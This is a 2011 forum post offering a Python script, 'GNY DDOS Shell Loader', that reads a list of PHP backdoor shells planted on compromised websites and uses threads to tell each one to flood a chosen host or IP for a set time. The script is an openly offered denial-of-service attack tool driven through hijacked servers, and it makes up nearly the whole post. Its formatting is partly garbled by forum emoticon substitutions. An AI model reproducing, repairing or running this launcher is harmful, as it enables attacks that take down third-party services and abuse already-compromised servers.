Post: [Python] GNY PHP DDOS Shell Loader
05-10-2011, 04:53 PM #1
(adsbygoogle = window.adsbygoogle || []).push({}); The following code is a simple python script for loading up gny shells (php shells) and issuing the same ddos command to every shell in your list (ddos.txt)
It uses threading to process each site faster.

    
import time, urllib2, threading, socket, sys, os
from threading import Thread
socket.setdefaulttimeout(5)
print '''
///////////////////////////////////////////////
/GNY DDOS Shell Loader - v1.0 - Coded by ro_0t/
///////////////////////////////////////////////
'''
if os.path.isfile("ddos.txt") == False:
raw_input('Could not find "ddos.txt" - Press any key to exit.'Winky Winky
sys.exit()

iptoddos = raw_input("HOST/IP TO ATTACK: ")
timetoddos = raw_input("LENGTH OF ATTACK(s): ")
lol = "ddos.txt"

print "\n[Target: " + iptoddos + "]\n"
print "[Time: " + timetoddos + "]\n"
print "[Loading Shells...]\n"

file = open(lol, 'r'Winky Winky

class OmG (threading.Thread):
def __init__(self,x):
self.__x = x
threading.Thread.__init__(self)
def run (self):
omfg = x + "?act=phptools&host=" + iptoddos + "&time=" + timetoddos
try:
print "Loading " + x + "..."
urllib2.urlopen(omfg)
except:
pass

while 1:
lines = file.readlines(10000)
if not lines:
break
for line in lines:
time.sleep(1)
x = line.rstrip("\n")
current = OmG(x)
current.start()

Copyright © 2024, NextGenUpdate.
All Rights Reserved.

Gray NextGenUpdate Logo